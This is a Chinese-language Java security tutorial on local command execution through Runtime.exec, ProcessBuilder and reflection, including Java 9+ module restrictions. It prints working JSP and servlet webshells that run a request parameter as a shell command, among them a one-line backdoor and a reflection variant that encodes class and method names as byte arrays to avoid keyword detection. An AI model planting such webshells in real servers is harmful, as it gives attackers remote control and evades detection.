Java本地命令执行:原理、实现与反射利用
本文详细讲解Java中本地命令执行的原理与实现,涵盖Runtime.exec、ProcessBuilder的使用,以及通过反射绕过限制的方法,并探讨Java 9+模块系统对反射的影响,是理解Java应用RCE漏洞的重要参考。
- Java安全
- 网络安全
Java本地命令执行
Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行是一种非常有利的入侵手段。
Runtime命令执行
在Java中我们通常会使用java.lang.Runtime类的exec方法来执行本地系统命令。

Runtime命令执行测试
runtime-exec2.jsp执行cmd命令示例:**
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
- 本地nc监听9000端口:
nc -vv -l 9000 - 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在nc中看到已经成功的接收到了java执行了curl命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。

上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp执行cmd命令示例:
CommandExecutionServlet.java
package org.chenluo.hijkuhki;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
@WebServlet("/exec")
public class CommandExecutionServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
response.getWriter().write("No command provided");
return;
}
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
request.setAttribute("output", new String(baos.toByteArray()));
request.getRequestDispatcher("/result.jsp").forward(request, response);
} catch (IOException e) {
response.getWriter().write("Error executing command: " + e.getMessage());
}
}
}
代码说明:
- @WebServlet(“/exec”):注解定义了这个Servlet的URL映射。当用户访问
/exec路径时,这个Servlet会被触发。 - extends HttpServlet:表明这个类继承了
HttpServlet,使其成为一个Servlet。 - doGet:处理HTTP GET请求的方法。
- request.getParameter(“cmd”):从请求中获取名为
cmd的参数,即要执行的命令。 - 参数验证:检查
cmd是否为空。如果为空,返回错误消息并结束请求。 - Runtime.getRuntime().exec(cmd):使用
Runtime类的exec方法执行系统命令。这个方法返回一个Process对象,表示正在执行的进程。 - InputStream in = process.getInputStream():获取进程的输入流,以读取命令执行的输出。
- ByteArrayOutputStream baos = new ByteArrayOutputStream():创建一个字节数组输出流,用于存储命令的输出。
- while循环:读取命令输出,将其写入
ByteArrayOutputStream。 - request.setAttribute(“output”, new String(baos.toByteArray())):将命令的输出结果作为请求属性传递给JSP页面。
- request.getRequestDispatcher(“/result.jsp”).forward(request, response):将请求转发到
result.jsp页面,以显示命令的执行结果。 - catch块:捕获和处理
IOException,如果命令执行出错,返回错误消息。
index.jsp:
<%--
Created by IntelliJ IDEA.
User: chenluo
Date: 2024/5/30
Time: 09:45
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>My JSP Page</title>
</head>
<body>
<h2>Hello, JSP!</h2>
<form action="exec" method="get">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
</body>
</html>
result.jsp:
<%--
Created by IntelliJ IDEA.
User: chenluo
Date: 2024/5/30
Time: 11:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html>
<html>
<head>
<title>Command Execution Result</title>
</head>
<body>
<h1>Command Execution Result</h1>
<pre><%= request.getAttribute("output") %></pre>
</body>
</html>
目录结构如图所示:

命令执行效果如下:

Runtime命令执行调用链
Runtime.exec(xxx)调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:
-
Runtime.exec(xxx) -
java.lang.ProcessBuilder.start() -
Process p = new ProcessImpl (toCString(cmdarray[0]), argBlock, args.length, envBlock, envc[0], toCString(dir), std_fds, forceNullOutputStream, redirectErrorStream); -
ProcessImpl构造方法中调用了forkAndExec(xxx)native方法。 -
forkAndExec调用操作系统级别fork->exec(Unix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime和ProcessBuilder并不是程序的最终执行点!
反射Runtime命令执行
如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上。
现在需要在configure--->vm options 添加如下配置运行:
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED
在 Java 9 及更高版本中,Java 平台模块系统(JPMS)引入了一些新的封装规则,以提高模块化和安全性。这些规则限制了对内部 API 的访问,以防止未授权的反射访问。您遇到的 java.lang.reflect.InaccessibleObjectException 错误就是由于这些封装规则导致的。
通过反射访问 ProcessImpl 类的 getInputStream 方法,而这个类和方法在 Java 9 之后变得不可直接通过反射访问。要解决这个问题,显式地打开这些模块和包,以允许反射访问。
以下是对这些修改的详细解释
反射和模块系统
Java 平台模块系统引入后,java.base 模块(以及其他模块)默认情况下对大多数反射访问进行了封装。为了通过反射访问这些模块中的类和方法,必须明确地通过 --add-opens 选项打开这些模块。
--add-opens 选项
--add-opens 选项告诉 JVM 允许反射访问特定模块中的包。这是必要的,因为:
- 封装:Java 9 之后,
java.base模块中的许多类和方法都被更严格地封装起来,禁止反射访问。 - 安全性:更严格的封装提高了 Java 应用程序的安全性,防止了未授权的代码反射访问敏感的 API。
- 向后兼容性:为了解决现有代码的兼容性问题,可以使用
--add-opens选项。
添加 --add-opens 选项的步骤
打开需要的模块和包:通过 --add-opens java.base/java.lang=ALL-UNNAMED,您允许未命名模块(即您的代码)反射访问 java.lang 包中的类和方法。同样,通过 --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED,您允许未命名模块反射访问 ProcessImpl 类中的方法。
ProcessBuilder命令执行
学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。
ProcessBuilder命令执行测试
package org.chenluo.hijkuhki;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.StringTokenizer;
@WebServlet("/exec")
public class CommandExecutionServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
response.getWriter().write("No command provided");
return;
}
try {
StringTokenizer st = new StringTokenizer(cmd);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
// 直接使用ProcessBuilder执行
Process pb = new ProcessBuilder(cmdarray)
.directory(null)
.start();
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = pb.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
request.setAttribute("output", new String(baos.toByteArray()));
request.getRequestDispatcher("/result.jsp").forward(request, response);
} catch (IOException e) {
response.getWriter().write("Error executing command: " + e.getMessage());
}
}
}
执行一个稍微复杂点的命令:ls -la,浏览器请求:http://localhost:8080/hijkuhki_war_exploded/exec?cmd=ls+-la

留言讨论
0 条留言
正在加载留言...